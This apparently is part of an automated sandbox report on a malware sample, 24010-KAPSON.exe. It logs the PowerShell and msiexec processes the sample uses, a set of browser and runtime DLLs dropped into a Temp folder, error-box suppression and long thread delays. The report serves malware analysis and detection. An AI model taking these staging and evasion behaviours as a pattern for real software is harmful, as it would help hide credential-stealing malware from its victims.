Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_08F1BDB0 push 9408D35Ch; ret	2_2_08F1BDBD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_04BB2A27 push esp; iretd	5_2_04BB2A28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 5_2_04BB3E27 push esp; ret	5_2_04BB3E28

Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\nss3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\softokn3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\24010-KAPSON.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\ucrtbase.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\freebl3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\24010-KAPSON.exe	File created: C:\Users\user\AppData\Local\Temp\nspB9D.tmp\nsExec.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\nssdbm3.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\msvcp140.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\mozglue.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\24010-KAPSON.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6920			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2607			Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\msiexec.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\B388C266\nss3.dll	Jump to dropped file
